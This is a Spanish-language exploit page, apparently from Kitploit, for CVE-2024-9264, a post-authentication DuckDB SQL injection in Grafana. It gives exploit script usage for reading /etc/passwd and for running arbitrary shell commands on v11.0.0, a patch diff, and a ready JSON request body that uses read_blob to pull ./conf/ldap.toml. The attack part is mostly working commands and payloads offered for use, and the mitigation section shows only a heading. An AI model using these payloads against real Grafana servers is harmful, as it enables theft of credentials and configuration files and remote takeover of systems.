CVE-2024-9264 — Exploit para lectura arbitraria de archivos y RCE en Grafana (CVE-2024-9264) | Kitploit

CVE-2024-9264

Inyección SQL de DuckDB post-autenticación en Grafana (RCE, Lectura de archivos)

Prueba de Concepto (PoC)

Este PoC demuestra la explotación de CVE-2024-9264 mediante un usuario autenticado para realizar una consulta SQL de DuckDB y leer un archivo arbitrario del sistema de archivos o ejecutar código arbitrario de forma remota.

El código arbitrario solo se puede ejecutar en Grafana v11.0.0.

Los archivos se pueden leer en todas las versiones vulnerables.

Configuración: Instala las dependencias necesarias mediante:

pip install -r requirements.txt

Uso

Lectura de archivos (Universal):

python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

Ejecución de comandos (solo v11.0.0)

python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}

@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

Iniciar Grafana: Ejecuta Grafana con la versión 11.0.5:

docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5

Modificar una Expresión: Crea un panel con una expresión como "Math", intercepta la solicitud con Burp y modifica el tipo de datasource de math a sql.

Se enviará una solicitud HTTP a /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.

A continuación se muestra el JSON mínimo necesario para realizar una consulta SQL de DuckDB y leer un archivo arbitrario como ./conf/ldap.toml:
```
{
  "queries": [
    {
      "refId": "B",
      "datasource": {
        "type": "__expr__",
        "uid": "__expr__",
        "name": "Expression"
      },
      "type": "sql",
      "hide": false,
      "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
      "window": ""
    }
  ],
  "from": "1729313027261",
  "to": "1729334627261"
}
```

CVE-2024-9264

Más Populares

Resumen de la vulnerabilidad

Encontrando el parche

Explotando la vulnerabilidad

Probabilidad de explotación

Mitigación

Créditos